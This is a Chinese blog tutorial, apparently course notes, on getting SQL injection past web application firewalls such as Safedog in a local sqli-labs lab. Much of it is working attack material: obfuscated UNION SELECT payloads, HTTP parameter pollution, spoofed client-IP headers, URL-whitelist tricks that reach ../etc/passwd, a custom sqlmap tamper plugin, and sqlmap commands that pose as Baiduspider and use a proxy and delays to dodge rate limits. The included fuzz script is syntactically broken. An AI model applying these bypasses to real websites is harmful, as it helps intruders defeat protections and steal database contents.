第18、19天:WEB漏洞-WAF绕过注入以及SQLMAP绕过WAF

在这里插入图片描述

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

参考地址
https://www.freebuf.com/articles/web/229982.html

一、WAF绕过注入

常见的waf防护软件安全狗、宝塔,下面以安全狗为例

waf绕过原理:特殊符号,某些符号并不影响sql语句执行,但可以绕过waf检测

mysql> select ~database();
+----------------------+
| ~database()          |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
测试过滤
空格,等号
空格=>/**/
等号=>like
  • 在服务器中安装安全狗后,安全狗会根据防护规则拦截注入
    在这里插入图片描述
    http://192.168.101.7/sqlilabs/Less-1/?id=1 and 1=1--+
    在这里插入图片描述
1.更改提交方式
  • 原理:部分拦截规则只检测url,不检测POST和cookie,所以我们可以通过更改提交方式来绕过waf;

在这里插入图片描述

  • 我们通过post来提交参数id和注入语句,发现网页并未接收到参数id的值,这是因为网页接收数据的格式是由代码决定的。

在这里插入图片描述

  • 将服务器的提交方式修改为request
if(isset($_REQUEST['id']))
{
$id=$_REQUEST['id'];

在这里插入图片描述

post: id=-1 union select 1,2,3--+

在这里插入图片描述

post: id=-1 union select 1,database(),3--+
  • 获取数据库版本信息被安全狗给拦截,安全狗对database()字段进行的检测
    在这里插入图片描述
post: id=-1 union select 1,database/**/(),3--+
  • 在database()字段中添加 /**/ 符号,发现可以爆数据库名
    在这里插入图片描述
mysql> select database/**/();
+-------------+
| database () |
+-------------+
| security    |
+-------------+
1 row in set (0.00 sec)
2.变异
  • 把提交参数的方式改回GET,发现注入被安全狗拦截了,这是因为安全狗会检测union select字段
    在这里插入图片描述
mysql> select * from users where id=-1/*%0a*/union/*%0a*/select/*%0a*/1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1/**-1 union select 1,2,3#*/;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1/**&id=-1%20union%20select%201,2,3%23*/;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

安全狗匹配的时候匹配的是1/**-1 union select 1,2,3#*/1/**&id=-1%20union%20select%201,2,3%23*/其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是-1 union select 1,2,3#*/能正常执行sql

常见的Web服务器对同样名称的参数出现多次的处理方式如下:

Web环境参数获取函数获取到的参数
PHP/Apache$_GET(“par”)last
JSP/TomcatRequest.getParameter(“par”)first
Perl(CGI)/ApacheParam(“par”)first
Python/Apachegetvalue(“par”)[“first”,“last”]
ASP.NET/IISRequest.QueryString(“par”)first,last

参数污染:
php只接受提交的最后一个参数(last)

<?php
$id=$_GET['x'];
echo $id;
?>

在这里插入图片描述

简单fuzz脚本

import request
import time
url='http://192.168.101.7/sqlilabs/Less-2?id=1'
for sqlin in open('字典文件'):
    urls=url+sqlin
	result=request.get(urls).text
	if(result.find('safedog')==-1)
	   print(sqlin)
	time.sleep(1)

注:在操作时,发现大部分绕过都已失效,后续在进行学习

二、绕过方法-白名单

方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别

方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=…/etc/passwd 绕过防御规则。

方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:

三、SQLMAP绕过WAF

1.自定义插件使用

tamper目录是sqlmap的插件库,在该目录下创建一个文件写入我们的自定义插件safedog.py
代码如下:

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re

from lib.core.data import kb
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.replace('UNION', 'uNiOn/*/%0a*a*/')
        retVal = retVal.replace('DATABASE()', 'dataBase/*!(*/)')
        retVal = retVal.replace('DATABASE()', 'dataBase%23a%0a')
        retVal = retVal.replace('USER()', 'usEr/*!(*/)')
        retVal = retVal.replace(' ', '/**/')
        retVal = retVal.replace(" ", '%23a%0a')
        retVal = retVal.replace('OR', '/*!14400Or*/')
        retVal = retVal.replace('AND', '/*!14400aNd*/')

    return retVal

python sqlmap.py -u "192.168.101.7/sqlilabs/Less-2/?id=1" --tamper=safedog.py
sqlmap执行语句中 --tamper= 后面加的是我们的插件名
在这里插入图片描述
可以看到的是并未注入成功,查看防护日志,发现是sqlmap的数据包头部user-agent字段被检测拦截了
在这里插入图片描述

通过代理抓包工具查看http头部user-agent字段,可以看到sqlmap/1.7.5#stable (https://sqlmap.org),安全软件当中是禁止使用这种脚本客户端所以就被拦截,自然插件脚本也就没办法正常执行
在这里插入图片描述

通过 --random-agent参数伪造user-agent字段,也可以手动修改。
搜索引擎爬虫user-agent信息:https://blog.csdn.net/liuxl57805678/article/details/89378720
在这里插入图片描述虽然并未注入成功,再次查看防护日志,发现并不是因为sqlmap的数据包头部user-agent字段被检测拦截了,而是其他的检测规则。在这里插入图片描述

备注:在真实环境当中waf可能会配置流量访问也就是说你访问的速度过快会将你访问的ip拉入黑名单,对此我们使用的策略是延时,代理池,爬虫白名单
搜索引擎爬虫user-agent信息:https://blog.csdn.net/liuxl57805678/article/details/89378720

爬虫白名单 自定义user-agent
python sqlmap.py -u "192.168.101.7/sqlilabs/Less-2/?id=1"  --tamper=safedog.py --proxy=http://10.1.1.2:8888 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
延时注入

sqlmap --delay参数
–delay 时间(默认为秒)

python sqlmap.py -u "192.168.101.7/sqlilabs/Less-2/?id=1"  --tamper=safedog.py --proxy=http://10.1.1.2:8888 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --delay 10
  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值